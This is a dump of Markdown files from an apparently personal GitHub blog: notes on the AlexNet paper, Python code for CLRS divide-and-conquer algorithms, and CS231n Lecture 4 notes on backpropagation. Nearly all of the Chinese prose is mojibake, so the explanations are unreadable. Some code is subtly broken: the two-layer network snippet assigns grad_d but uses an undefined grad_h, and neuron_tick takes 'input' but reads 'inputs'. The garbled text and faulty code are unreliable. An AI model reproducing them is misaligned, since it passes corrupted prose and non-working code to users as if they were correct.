Dropout๏ผˆ้šๆœบๅคฑๆดป๏ผ‰\n\nๆจกๅž‹่žๅˆๆ˜ฏ้™ไฝŽ test errors ้ƒฝไธ€็งๆœ‰ๆ•ˆๆ‰‹ๆฎต๏ผŒไฝ†ๅฏนๅคงๅž‹็ฝ‘็ปœๆฅ่ฏดๅฐฑๆ•ˆ็Ž‡ๅคชไฝŽไบ†ใ€‚\n\n็„ถ่€Œ๏ผŒๅฏนไบŽไธ€ไธชๆœ‰ๆ•ˆๆจกๅž‹ๆฅ่ฏด๏ผš\n\n> There is a very efficient version of model combination that only costs about a factor of two during training.\n\nๆ‰€ไปฅ๏ผŒๆˆ‘ไปฌๅฏไปฅๅ˜่ฎญ็ปƒๅ˜่žๅˆใ€‚ใ€‚ใ€‚ใ€‚ไบŽๆ˜ฏ๏ผŒdropout ๆŠ€ๆœฏๆจชๅคฉๅ‡บไธ–๏ผ[G.E. Hinton, N. Srivastava, A. Krizhevsky, I. Sutskever, and R.R. Salakhutdinov. Improving neural networks by preventing co-adaptation of feature detectors. arXiv preprint arXiv:1207.0580, 2012.]\n\n่ฟ™ไธชๆ–‡็ซ ๅฏนๅ‰ไธคไธชๅ…จ่ฟžๆŽฅๅฑ‚้ƒฝๆ˜ฏ็”จไบ† 0.5 ๆฆ‚็Ž‡็š„ dropoutใ€‚\n\n่ฟ‡ๆ‹Ÿๅˆ้—ฎ้ข˜ๆ˜พ่‘—้™ไฝŽ๏ผŒไธ่ฟ‡่ฎญ็ปƒ่ฟญไปฃๆ—ถ้•ฟๅขžๅŠ ไบ†ไธ€ๅ€ใ€‚\n\n\n\n\n\n## Details of learning\n\n- ไผ˜ๅŒ–ๆ–นๆกˆ๏ผš\n\n> Stochastic gradient descent (SGD) with a **batch size** of 128 examples, **momentum** of 0.9, and **weight decay** of 0.0005.\n\n\t่ฎบๆ–‡ไธญ็”š่‡ณ็›ดๆŽฅ็ป™ๅ‡บไบ†ๅ‚ๆ•ฐ่ฟญไปฃๆ›ดๆ–ฐ็š„ๅ…ฌๅผ๏ผš\n$$\n\\begin{align}\nv_{i+1} &:= 0.9\\cdot v_i-0.0005\\cdot\\epsilon\\cdot\\omega_i-\\epsilon\\cdot\\langle\\frac{\\partial L}{\\partial\\omega}\\Big|_{\\omega_i}\\rangle{D_i} \\\\\n\\omega_{i+1} &:= \\omega_i + v_{i+1}\n\\end{align}\n$$\n![](https://i.loli.net/2018/08/24/5b7fde4d15435.png)\n\n\n\n- ๅ‚ๆ•ฐๅˆๅง‹ๅŒ–๏ผš\n\n $\\omega:$ zero-mean Gaussian distribution with standard de- viation 0.01.\n\n $b:$ constant 1 for 2nd, 4th, and 5th layers; constant 0 for the remainning layers.\n\n ๆฎ็งฐ๏ผš This initialization accelerates the early stages of learning by providing the ReLUs with positive inputs. \n\n\n\n- ๅญฆไน ็Ž‡็ญ–็•ฅ๏ผš\n - **divide the learning rate by 10 when the validation error rate stopped improving with the current learning rate**. The learning rate was initialized at 0.01 and reduced three times prior to termination.\n\n\n\n\n\n## Results\n\n- ๅœจ ILSVRC-2010 ๆ•ฐๆฎ้›†ไธŠ๏ผš\n\n![](https://i.loli.net/2018/08/24/5b7ff4492a8d2.png)\n\n\tCNN ๆฏ”ๅ…ถไป–ไธค็ง็ฎ—ๆณ•ๅทฎไธๅคšไฝŽ่ฟ‡่ฟ‘10%็š„้”™่ฏฏ็Ž‡ใ€‚\n\n- ๅœจ ILSVRC-2012 ๅ’Œ ImageNet 2011 + ILSVRC-2012 ๆ•ฐๆฎ้›†ไธŠ๏ผš\n\n![](https://i.loli.net/2018/08/24/5b7ff53fa8cac.png)\n\n็”ฑไบŽๆฒกๆœ‰ๆต‹่ฏ•ๆ•ฐๆฎ้›†๏ผŒๆ‰€ไปฅ้‡‡็”จไบ†๏ผš\n\n> validation and test error rates interchangeably because in our experience they do not differ by more than 0.1%.\n\n\n\n\n\n### Qualitative Evaluations๏ผˆๅฎšๆ€ง่ฏ„ไผฐ๏ผ‰\n\n\n\n- kernel ๅฏ่ง†ๅŒ– โ€”โ€” specialization\n\n ![](https://i.loli.net/2018/08/24/5b7ff88e19f10.png)\n\n - A variety of **frequency**- (GPU1) and **orientation**-selective kernels (GPU2), as well as various **colored** blobs (GPU2) are learned.\n - Specialization occurs during every run.\n - which is **independent** of any particular random weight **initialization**.\n\n- asses top-5 predictions๏ผˆๅทฆๅ›พ๏ผ‰\n\n ![](https://i.loli.net/2018/08/24/5b7ff9e516c05.png)\n\n - ๅณไฝฟๅฏน่ฑกๅนถไธ่‡ชๅ›พๅƒ็š„ไธญๅฟƒ๏ผŒCNNไพ็„ถๅฏไปฅ่ฏ†ๅˆซๆธ…ๆฅš๏ผˆๅฆ‚ mite๏ผ‰\n - ๅคงๅคšๆŽ’ๅ‰ top-5 ็š„ๆ ‡็ญพ้ƒฝๆฏ”่พƒ reasonable๏ผŒๆฏ”ๅฆ‚่ฑนๅญ็š„ๅ›พไธญ๏ผŒไนŸ่พƒๅคงๆฆ‚็Ž‡็š„่ขซ่ฏ†ๅˆซไธบ็Œซๅ’ช\n - ๆœ‰ไบ›ๅ›พ็‰‡ไธญ๏ผŒCNN ็ฝ‘็ปœ่š็„ฆ็š„็‚นๆ˜ฏๅพˆๆจก็ณŠ็š„\n\n- feature activations at the last๏ผˆๅณๅ›พ๏ผ‰\n\n - ็ฌฌไธ€ๅˆ—ๆ˜ฏ4ๅผ ๆต‹่ฏ•ๅ›พๅƒ๏ผŒๅ‰ฉไธ‹็š„ๅˆ—ๆ˜ฏ6ๅผ ่ฎญ็ปƒๅ›พๅƒ\n - ้ฆ–ๅ…ˆๆ˜Ž็กฎๅบฆ้‡ๆ ‡ๅ‡†๏ผšๅฆ‚ๆžœไธคๅน…ๅ›พๅƒ็”Ÿๆˆ็š„็‰นๅพๆฟ€ๆดปๅ‘้‡ไน‹้—ดๆœ‰่พƒๅฐ็š„ๆฌงๅผ่ท็ฆป๏ผŒๆˆ‘ไปฌๅฏไปฅ่ฎคไธบ็ฅž็ป็ฝ‘็ปœ็š„ๆ›ด้ซ˜ๅฑ‚็‰นๅพ่ฎคไธบๅฎƒไปฌๆ˜ฏ็›ธไผผ็š„ใ€‚\n - ๅฆ‚ๆžœๅŸบไบŽ L2 ๅบฆ้‡ๆ ‡ๅ‡†๏ผŒๅฏไปฅๆ˜Žๆ˜พๅ‘่ง‰ๅœจๅƒ็ด ็บงๅˆซไธŠ๏ผŒไป–ไปฌๆฏ่กŒ็š„่ท็ฆป้€šๅธธๆ˜ฏไธๆŽฅ่ฟ‘็š„๏ผˆๆฏ”ๅฆ‚็‹—ๅ’Œ็‰›็š„ๅ„็งๅงฟๆ€๏ผ‰\n\n- ไธบไธ€็งๆ–ฐ็š„ๅ›พๅƒๆฃ€็ดขๆ–นๆณ•ๅธฆไฟฉๅฏ็คบ๏ผˆ่ฟ™ไผ˜ไบŽ็›ดๆŽฅไฝœ็”จๅˆฐๅƒ็ด ไธŠ็š„ไผ ็ปŸ่‡ชๅŠจ็ผ–็ ๅ™จ๏ผ‰\n\n - ็†็”ฑ๏ผšComputing similarity by using Euclidean distance between two 4096-dimensional, real-valued vectors is inefficient, but it could be made efficient by training an auto-encoder to compress these vectors to short binary codes. \n\n\n\n\n\n## Discussion\n\n- CNN็š„ๆทฑๅบฆไผผไนŽ้žๅธธ้‡่ฆ๏ผŒๅ› ไธบไธ€ๆ—ฆ็งป้™คไปปๆ„ไธ€ไธญ้—ดๅฑ‚้ƒฝไผšๆŸๅคฑๅคงๆฆ‚2%็š„ top-1 ๆ€ง่ƒฝใ€‚\n- ๆœฌ่ฎบๆ–‡็š„ๅฎž้ชŒๆฒกๆœ‰ไฝฟ็”จไปปไฝ•ๆ— ็›‘็ฃ็š„้ข„่ฎญ็ปƒใ€‚\n\n\n\n\n\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html) | [่ฟ”ๅ›žๅˆฐ้กถ้ƒจ](./ImageNet Classification with Deep Convolutional Neural Networks.html)\n\n---\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>" }, { "alpha_fraction": 0.4610733091831207, "alphanum_fraction": 0.5026454925537109, "avg_line_length": 30.178571701049805, "blob_id": "d82ea35c0ac7e9570c60484192df6f3b97e469bf", "content_id": "88d52c400281a91a073c2edbe6f2c280c34957f0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2694, "license_type": "no_license", "max_line_length": 161, "num_lines": 84, "path": "/blog/books/CLRS_4.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "\n\n\n\n\n\n\n\n# ็ฌฌ4็ซ  ๅˆ†ๆฒป็ญ–็•ฅ\n\n\n\nๆœ€ๅคงๅญๆ•ฐ็ป„้—ฎ้ข˜\n\n```python\ndef FIND_MAX_CROSSING_SUBARRAY(A, low, mid, high):\n left_sum = -float('inf')\n sum_, max_left = 0, low\n for i in range(low, mid+1)[::-1]:\n sum_ += A[i]\n if sum_ > left_sum:\n left_sum = sum_\n max_left = i\n right_sum = -float('inf')\n sum_, max_right = 0, high\n for j in range(mid, high+1):\n sum_ += A[j]\n if sum_ > right_sum:\n right_sum = sum_\n max_right = j\n return (max_left, max_right, left_sum+right_sum)\n\n\ndef FIND_MAXIMUM_SUBARRAY(A, low, high):\n if low == high:\n return (low, high, A[low])\n else:\n mid = (low + high)//2\n (left_low, left_high, left_sum) = FIND_MAXIMUM_SUBARRAY(A, low, mid)\n (right_low, right_high, right_sum) = FIND_MAXIMUM_SUBARRAY(A, mid+1, high)\n (cross_low, cross_high, cross_sum) = FIND_MAX_CROSSING_SUBARRAY(A, low, mid, high)\n if left_sum >= right_sum and left_sum >= cross_sum:\n return (left_low, left_high, left_sum)\n elif right_sum >= left_sum and right_sum >= cross_sum:\n return (right_low, right_high, right_sum)\n else:\n return (cross_low, cross_high, cross_sum)\n```\n\n\n\n\n\n\n\n็Ÿฉ้˜ตไน˜ๆณ•\n\n```python\ndef SQUARE_MATRIX_MULTIPLY(A, B):\n n = A.shape[0]\n C = np.empty((n,n))\n for i in range(n):\n for j in range(n):\n C[i,j] = 0\n for k in range(n):\n C[i,j] += A[i,k] * B[k,j]\n return C\n\n>>> A = np.array([[1,2,3], [2,3,4], [5,6,7]])\n>>> B = np.array([[9,8,7], [8,7,6], [7,6,5]])\n>>> SQUARE_MATRIX_MULTIPLY(A, B)\n```\n\n\n\n```python\ndef SQUARE_MATRIX_MULTIPLY_RECURSIVE(A, B):\n n = A.shape[0]\n C = np.empty((n,n))\n if n == 1:\n C[0,0] = A[0,0] * B[0,0] # ๅ…ถๅฎžๅฏไปฅไธ็”จๅ†™ [0,0]\n else:\n C[:n//2, :n//2] = SQUARE_MATRIX_MULTIPLY_RECURSIVE(A[:n//2, :n//2], B[:n//2, :n//2]) + SQUARE_MATRIX_MULTIPLY_RECURSIVE(A[:n//2, n//2:], B[n//2:, :n//2])\n C[:n//2, n//2:] = SQUARE_MATRIX_MULTIPLY_RECURSIVE(A[:n//2, :n//2], B[:n//2, n//2:]) + SQUARE_MATRIX_MULTIPLY_RECURSIVE(A[:n//2, n//2:], B[n//2:, n//2:])\n C[n//2:, :n//2] = SQUARE_MATRIX_MULTIPLY_RECURSIVE(A[n//2:, :n//2], B[:n//2, :n//2]) + SQUARE_MATRIX_MULTIPLY_RECURSIVE(A[n//2:, n//2:], B[n//2:, :n//2])\n C[n//2:, n//2:] = SQUARE_MATRIX_MULTIPLY_RECURSIVE(A[n//2:, :n//2], B[:n//2, n//2:]) + SQUARE_MATRIX_MULTIPLY_RECURSIVE(A[n//2:, n//2:], B[n//2:, n//2:])\n return C\n\n>>> A = np.array([[1,2,3,4], [2,3,4,5], [5,6,7,8], [6,7,8,9]])\n>>> B = np.array([[9,8,7,6], [8,7,6,5], [7,6,5,4], [6,5,4,3]])\n>>> SQUARE_MATRIX_MULTIPLY_RECURSIVE(A, B)\n```\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.6539902687072754, "alphanum_fraction": 0.7006369233131409, "avg_line_length": 26.80208396911621, "blob_id": "3694d5b68ff48c2e30f984dc92286c7492a86257", "content_id": "eb269127c73ebca04ea8b2626bad16439cb92ee1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 7649, "license_type": "no_license", "max_line_length": 394, "num_lines": 192, "path": "/blog/cs231n/cs231n_4.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: CS231n Lecture.4\ndate: 2018-08-21\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html)\n\n---\n\n[TOC]\n\n> CS231n ่ฏพ็จ‹็š„ๅฎ˜ๆ–นๅœฐๅ€๏ผšhttp://cs231n.stanford.edu/index.html\n>\n> ่ฏฅ็ฌ”่ฎฐๆ นๆฎ็š„่ง†้ข‘่ฏพ็จ‹็‰ˆๆœฌๆ˜ฏ [Spring 2017](https://www.bilibili.com/video/av17204303/?p=9)(BiliBili)๏ผŒPPt ่ต„ๆบ็‰ˆๆœฌๆ˜ฏ [Spring 2018](http://cs231n.stanford.edu/syllabus.html).\n>\n> ๅฆๆœ‰่ฏฅ Lecture 3. ๆ‰ฉๅฑ•่ฎฒไน‰่ต„ๆ–™๏ผš\n>\n> - [backprop notes](http://cs231n.github.io/optimization-2) [[ไธญ่ฏ‘็‰ˆ](./CS231n_backprop_notes.html)]\n>\n> - [linear backprop example](http://cs231n.stanford.edu/handouts/linear-backprop.pdf) \n>\n> - [derivatives notes](http://cs231n.stanford.edu/handouts/derivatives.pdf) (optional) \n>\n> - [Efficient BackProp](http://yann.lecun.com/exdb/publis/pdf/lecun-98b.pdf) (optional) \n>\n> related: [1](http://colah.github.io/posts/2015-08-Backprop/), [2](http://neuralnetworksanddeeplearning.com/chap2.html), [3](https://www.youtube.com/watch?v=q0pm3BrIUFo) (optional)\n\n\n\n# Lecture 4. **Introduction to Neural Networks** \n\n่ฏพ็จ‹ๅˆšไธ€ๅผ€ๅง‹๏ผŒๅฐๅงๅง็š„้ขœๅ€ผๅฐฑ็ซ‹้ฉฌๅผ€ๅง‹ๅธ็ฒ‰ใ€‚ใ€‚ใ€‚\n\n![](https://i.loli.net/2018/08/22/5b7d80395431d.png)\n\n## Backpropagation\n\nๅบŸ่ฏไธๅคš่ฏด๏ผŒๆ€ป็ป“ไบ†ไน‹ๅ‰่ฎฒ็š„ๆ•…ไบ‹ๅŽใ€‚็”จ่ฎก็ฎ—ๅ›พๆ€ป็ป“ไบ†็บฟๆ€ง่ฎก็ฎ—ๅ’ŒๆŸๅคฑๅ‡ฝๆ•ฐๅŽ๏ผŒๅฐฑ็ซ‹้ฉฌๅผ€ๅง‹ๅผ•ๅ‡บๆœฌ lecture ไธญๆœ€้‡่ฆ็š„็ฎ—ๆณ•๏ผšๅๅ‘ไผ ๆ’ญ็ฎ—ๆณ•ใ€‚\n\n่™ฝ็„ถๅๅญ—ๆ˜ฏๅๅ‘ไผ ๆ’ญ็ฎ—ๆณ•๏ผˆbackpropagation๏ผ‰๏ผŒไฝ†ๅ…ถๅฎž่ƒŒๅŽ็š„้€ป่พ‘ๆ˜ฏ่ฟ‡ไบŽ็ฎ€ๅ•็š„๏ผš**้“พๅผๆณ•ๅˆ™**ๅ˜›ใ€‚ๆญคๅค„ไธๅ†่ต˜่ฟฐ๏ผŒๆฌข่ฟŽ็›ดๆŽฅ้˜…่ฏป๏ผš[ไธ€ๆฎตๅ…ณไบŽ็ฅž็ป็ฝ‘็ปœ็š„ๆ•…ไบ‹](./cs231n_story_MLP.html#header-n166)ใ€‚\n\n- Q๏ผšไธบไป€ไนˆไธ็”จๅพฎ็งฏๅˆ†็†่ฎบ็›ดๆŽฅ่ฎก็ฎ—ๅ‚ๆ•ฐ็š„ๆขฏๅบฆๅ‘ข๏ผŸ\n\n - ๅฝ“้ขๅฏนๅคๆ‚่กจ่พพๅผ็š„ๆ—ถๅ€™๏ผŒๅฐ†ๅ…ถๅˆ†่งฃไธบไธ€ไบ›่ฎก็ฎ—่Š‚็‚น๏ผŒๅฏไปฅ้žๅธธ็ฎ€ๅ•็š„่ฎก็ฎ—ๅพ—ๅ‡บๆขฏๅบฆใ€‚\n\n- Note๏ผšๅ…ณไบŽ่Š‚็‚นไปฌ็š„้ƒจๅˆ†็ป„ๅˆๅฏไปฅๅพˆๅฅฝ็š„ๅฎž็Žฐๆ›ด็ฎ€ๆดๆ›ดๅฟซ้€Ÿ็š„ๆขฏๅบฆ่ฎก็ฎ—ๅ›พ่กจ่พพใ€‚ๆฏ”ๅฆ‚่ฏด๏ผŒsigmoid function $\\sigma(x)=\\frac{1}{1+e^{-x}}$ ๅฐฑๆœ‰๏ผš\n $$\n \\frac{d\\sigma(x)}{dx}=\\frac{e^{-x}}{(1+e^{-x})^2}=\\Big(\\frac{1+e^{-x}-1}{1+e^{-x}}\\Big)\\Big(\\frac{1}{1+e^{-x}}\\Big)=(1-\\sigma(x))\\sigma(x)\n $$\n\n\n\n\n\n็ป่ฟ‡ๅ‡ ไธชๅฐไพ‹ๅญ็š„่€ƒ้ชŒ๏ผŒๆˆ‘ไปฌไผผไนŽๅฏไปฅๆ€ป็ป“ๅ‡บ่ง„ๅพ‹ไบ†๏ผš\n\n![](https://i.loli.net/2018/08/23/5b7d93e09a259.png)\n\n- <u>Patterns in backward flow</u>\n - **add** gate: gradient distributor. ๆขฏๅบฆๅˆ†ๅธƒๅ™จ๏ผšๅๅ‘ๅˆ†ๅ‘ๅ’Œไผ ้€’็›ธๅŒ็š„ๆขฏๅบฆๅ€ผ\n - **max** gate: gradient router. ๆขฏๅบฆ่ทฏ็”ฑๅ™จ๏ผšๅๅ‘ไผ ้€’ๅœจๅ‰ๅ‘ไธญ่พƒๅคงๅ€ผๆ–นๅ‘็š„ๆขฏๅบฆๅ€ผ\n - **mul** gate: gradient switcher. ๆขฏๅบฆ่ฝฌๆข/็ผฉๆ”พๅ™จ๏ผšๆ นๆฎๅฆไธ€ไธชๅˆ†ๆ”ฏ็š„ๅ€ผๅฏนๆขฏๅบฆ่ฟ›่กŒ็ผฉๆ”พ\n\n- ่ฟ™ๆ—ถๅ€™ๆœ‰ไธชๅญฆ็”Ÿๆไบ†ไธ€ไธช้—ฎ้ข˜๏ผš่ฟ™ๆขฏๅบฆๆ•ฐๅญ—็ป่ฟ‡ๅฆ‚ๆญคไธ€็•ช่ฎก็ฎ—ๅŽ๏ผŒ้‚ฃๅฆ‚ไฝ•ๆ›ดๆ–ฐๅ‚ๆ•ฐๅ‘ข๏ผŸ\n - ๅ…ถๅฎž๏ผŒๆˆ‘็š„็†่งฃๆ˜ฏ๏ผšไธŠ้ข๐Ÿ‘†ๅ›พๅƒไธญๆœ€ๅทฆไพงๅพ—ๅˆฐ็š„ไธๅŒ็š„็บข่‰ฒๆขฏๅบฆๆ•ฐๅญ—ๅฐฑๆ˜ฏๆš—็คบไบ†่ฟ™ไบ›ๅ‚ๆ•ฐ็ฉถ็ซŸๅฏนๆœ€ๅŽ็š„ๆŸๅคฑๅ€ผๅœจๅŠจๆ€็š„่ฟญไปฃๆ›ดๆ–ฐไธญๆ˜ฏๆ€Žๆ ท็š„้™ๆ€ๅ˜ๅŒ–ใ€‚ๆœ‰็š„็ปๅฏนๅ€ผๆ•ฐๅญ—ๅคง๏ผŒไธๅฐฑๆ˜ฏ่ฏดไธซ็š„ๅ‚ๆ•ฐๅบ”่ฏฅๅคš็ป™็‚นๅŠ›๏ผŒ็ปๅฏนๅ€ผๆ•ฐๅญ—ๅฐ็š„ๅฐฑๆ˜ฏ่ฏด่ฟ™ไธชๅ‚ๆ•ฐๅฏไปฅๅ…ˆโ€œๆŒ‰ๅ…ตไธๅŠจโ€๏ผŒๆ•ฐๅญ—็š„็ฌฆๅท่‡ช็„ถไนŸๅฐฑ็›ดๆŽฅๅ†ณๅฎšไบ†่ฏฅๅ‚ๆ•ฐๅฏนๆŸๅคฑๅ€ผๅ˜ๅŒ–็š„ๆ–นๅ‘ใ€‚้‚ฃไนˆๆ‰€่ฐ“็š„ๅ‚ๆ•ฐๆ›ดๆ–ฐๅฐฑๆ˜ฏๆœ€ไผ˜ๅŒ–้—ฎ้ข˜ไบ†๏ผŒ็œ‹ไฝ ๆ€Žไนˆๅˆฉ็”จ่ฟ™ไธชๆขฏๅบฆๆ•ฐๅญ—ไบ†ใ€‚\n\n\n\nๆ•ฐๅญ—็š„ๅ‰ๅ‘/ๅๅ‘ไผ ๆ’ญ่ฏดๅฎŒๅŽ๏ผŒๅฐฑ่ฆๆŽจๅนฟๅˆฐ็Ÿข้‡็š„ๅ‰ๅ‘/ๅๅ‘ไผ ๆ’ญไบ†ใ€‚\n\nๅ…ถๅฎžไธๅฏๆ€•๏ผŒไธๅฐฑๆ˜ฏๅฏน็งฐ็š„้›…ๅ…‹ๆฏ”็Ÿฉ้˜ตๅ˜›~ ๏ผˆ[Wiki](https://zh.wikipedia.org/wiki/้›…ๅฏๆฏ”็Ÿฉ้˜ต)๏ผ‰\n\n- Always check: The gradient with respect to a variable should have the same shape as the variable.\n\n\n\nๅŽ้ขๅฐฑ็œŸๆฒกๅ•ฅๅ†…ๅฎนไบ†ใ€‚ๅฏไปฅ็ฎ€ๅ•็š„ๆ€ป็ป“ไธบ๏ผš้œ€่ฆ่‡ชๅทฑๅŠจ็ฌ”็ข็ฃจ๏ผŒ่‡ชๅทฑๅŠจๆ‰‹ไปฃ็ ๆ‰่ƒฝๅฝปๅบ•็†่งฃใ€‚\n\n่ฟ˜ๆœ‰ๆ‰ฉๅฑ•่ต„ๆ–™ๆ˜ฏ้žๅธธๅนฒ็š„~ ๏ผŒไฝ ๆ‡‚ๆปด๏ผ\n\n\n\n## Neural Networks\n\n่ฏพ็จ‹ๅˆšไธ€ๅผ€ๅง‹ๅฐฑๅผบ่ฐƒ๏ผšwithout the brain stuff๏ผ็ฎ€ๅ•ๅœฐ่ฏด๏ผŒๅฐฑๆ˜ฏไธ่ฆ่ทŸๆˆ‘ๆ‰ฏไป€ไนˆ็”Ÿ็‰ฉ็ฅž็ปๅ…ƒๅ•ฅ็š„~ ่ฟ™ไธชๆฆ‚ๅฟตๆ—ฉๅทฒไธŽไน‹ๅˆ†้“ๆ‰ฌ้•ณ~\n\n้šๅŽ็š„ไธคๅฑ‚็ฅž็ป็ฝ‘็ปœ่ฎฒ็š„ๆœ‰ไบ›็จ€้‡Œ็ณŠๆถ‚๏ผŒ่ง†้ข‘้‡Œๅฑ…็„ถๆฒกๆœ‰่ฏดๆธ…ๆฅš้ž็บฟๆ€งๅฐฑๆ˜ฏ $\\max$ ๅ‡ฝๆ•ฐ๏ผŒไธๅฆ‚็œ‹ๆˆ‘่‡ชๅทฑๅ†™็š„่ฟ™ไธ€้ƒจๅˆ†๏ผˆ[ไธ€ไธช็ฅž็ปๅ…ƒ็š„ๆœฌไบ‹](./cs231n_story_MLP.html#header-n59)๏ผ‰ใ€‚ๅˆๆ˜ฏ้‚ฃๅฅ่ฏ๏ผŒๆ‰ฏๅŠๅคฉๆฆ‚ๅฟตๅ’Œๆต็จ‹ๅ›พ๏ผŒ้ƒฝไธๅฆ‚็›ดๆŽฅ็œ‹ไปฃ็ ๆฅ็š„ๅฎžๅœจ๏ผš\n\n```python\nimport numpy as np\nfrom numpy.random import randn\n\nN, D_in, H, D_out = 64, 1000, 100, 10\nx, y = randn(N, D_in), randn(N, D_out)\nw1, w2 = randn(D_in, H), randn(H, D_out)\n\nfor t in range(2000):\n h = 1 / (1 + np.exp(-x.dot(w1)))\n y_pred = h.dot(w2)\n loss = np.square(y_pred - y).sum()\n print(t, loss)\n \n grad_y_pred = 2.0 * (y_pred - y)\n grad_w2 = h.T.dot(grad_y_pred)\n grad_d = grad_y_pred.dot(w2.T)\n grad_w1 = x.T.dot(grad_h * h * (1 - h))\n \n w1 -= 1e-4 * grad_w1\n w2 -= 1e-4 * grad_w2\n```\n\nไธŠ้ขๆ˜ฏไธ€ไธชไธคๅฑ‚็ฅž็ป็ฝ‘็ปœ๏ผŒๆœ‰ไธ€ไธชๅ•้šๅฑ‚็š„็ป“ๆž„ใ€‚ไฝœไธšๅฐฑๆ˜ฏไปฅๆญคไฝœไธบ็ตๆ„Ÿ๏ผŒไนŸๅ†™ไธ€ไธชไธคๅฑ‚ๅ…จ่ฟžๆŽฅ็š„็ฅž็ป็ฝ‘็ปœใ€‚\n\nๆŽฅไธ‹ๆฅ็š„ๅ†…ๅฎน๏ผˆ้™คไบ†็ฅž็ปๅ…ƒ็ฑปๆฏ”๏ผ‰๏ผŒๅฐฑๅผ€ๅง‹็œŸๆญฃๆœ‰ไบ›ๅนฒ่ดงๅ‡บๆฅไบ†๏ผŒไธป่ฆๆ˜ฏ่ฟ™ไธชๅ›พ๏ผš\n\n![](https://i.loli.net/2018/08/24/5b7eed913ab48.png)\n\n\n\n่ฟ™ๅฐฑๆ˜ฏไธ€ไธช็ฅž็ปๅ…ƒ็š„ๆœฌไบ‹ใ€‚ๆ—ขๆœ‰็บฟๆ€งๅ˜ๆข๏ผŒไนŸๆœ‰้ž็บฟๆ€งๅŠ ๆŒใ€‚ๅทฎไธๅคšๆ˜ฏๆœ€ไธ€่ˆฌๆ„ไน‰็š„ๅŸบ็ก€่ฎก็ฎ—ๅ•ๅ…ƒใ€‚ไปฃ็ ๅฏไปฅๅฆ‚ไธ‹่กจ็คบ๏ผš\n\n```python\nclass Neuron:\n # ...\n def neuron_tick(input):\n \"\"\" assume inputs and weights are 1-D numpy arrays and bias is a number\"\"\"\n cell_body_sum = np.sum(inputs * self.weights) + self.bias\n firing_rate = 1.0 / (1.0 + math.exp(-cell_body_sum)) # sigmoid activation function\n return firing_rate\n```\n\nๅพˆๅฟซๅœฐ๏ผŒๅฐๅงๅงๅˆๅผ€ๅง‹่ญฆๅ‘Šไธ่ฆ้šไพฟๅ’Œ็”Ÿ็‰ฉๅญฆๆ‰ฏไธŠๅ…ณ็ณป๏ผ\n\n> Be very careful with your brain analogies!\n\n- Biological Neurons๏ผš\n - Many different types\n - Dendrites can perform complex non-linear computations\n - Synapses are not a singal weight but a complex non-linear dynamical system\n - Rate code may not be adequate\n\n### Activation functions\n\n่ง†้ข‘้‡Œๅˆ—ๅ‡บไบ†ไธ€ๆณขๅธธ่ง็š„ๆฟ€ๆดปๅ‡ฝๆ•ฐ๏ผŒไฝ†ๆ˜ฏๅฑ…็„ถๆฒกๆœ‰็ป†่ฎฒ๏ผŒ็›ดๆŽฅ้ฃž่ฟ‡ๅŽปไบ†๏ผš\n\n![](https://i.loli.net/2018/08/24/5b7eef8c7772e.png)\n\n็„ถๅŽ๏ผŒๅผบ่ฐƒไบ†ไธๅŒๅฑ‚็š„ๅ…จ่ฟžๆŽฅ็ฅž็ป็ฝ‘็ปœ็š„ๅซๆณ•๏ผš\n\n![](https://i.loli.net/2018/08/24/5b7eefd02183d.png)\n\nๆœ€ๅŽ๏ผŒๅˆ่ฏดๅ…ถๅฎžๆˆ‘ไปฌๅˆšๅˆšไปฃ็ ๆ˜ฏ้’ˆๅฏนไธ€ไธช็ฅž็ปๅ…ƒ็š„่ฎก็ฎ—๏ผŒๅ…ถๅฎžๆˆ‘ไปฌๅฏไปฅๆŽจๅนฟๅˆฐไธ€ๅฑ‚็ฅž็ปๅ…ƒ็š„ๆ“ไฝœใ€‚ๆฏ”ๅฆ‚ไธŠๅ›พๅณ้ข็š„3ๅฑ‚็ฅž็ป็ฝ‘็ปœ๏ผˆไธคไธช้š่—ๅฑ‚๏ผ‰๏ผŒๅˆฉ็”จ็Ÿฉ้˜ตไน˜ๆณ•๏ผŒๅฏไปฅ่ฟ™ไนˆๅ†™ไปฃ็ ๏ผš\n\n```python\n# forward-pass of a 3-layer neural network:\nf = lambda x: 1.0/(1.0 + np.exp(-x)) # activation function (use sigmoid)\nx = np.random.randn(3, 1) # random input vector of three numbers (3x1)\nh1 = f(np.dot(W1, x) + b1) # calculate first hidden layer activations (4x1)\nh2 = f(np.dot(W2, h1) + b2) # calculate second hidden layer activations (4x1)\nout = np.dot(W3, h2) + b3\n```\n\nๅ†็„ถๅŽใ€‚ใ€‚ใ€‚่ฟ™่Š‚่ฏพๅฐฑ็ป“ๆŸๅ•ฆ๏ผ๏ผใ€‚ใ€‚ใ€‚\n\n\n\n\n\n\n\n\n\n\n\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html) | [่ฟ”ๅ›žๅˆฐ้กถ้ƒจ](./cs231n_4.html)\n\n---\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n 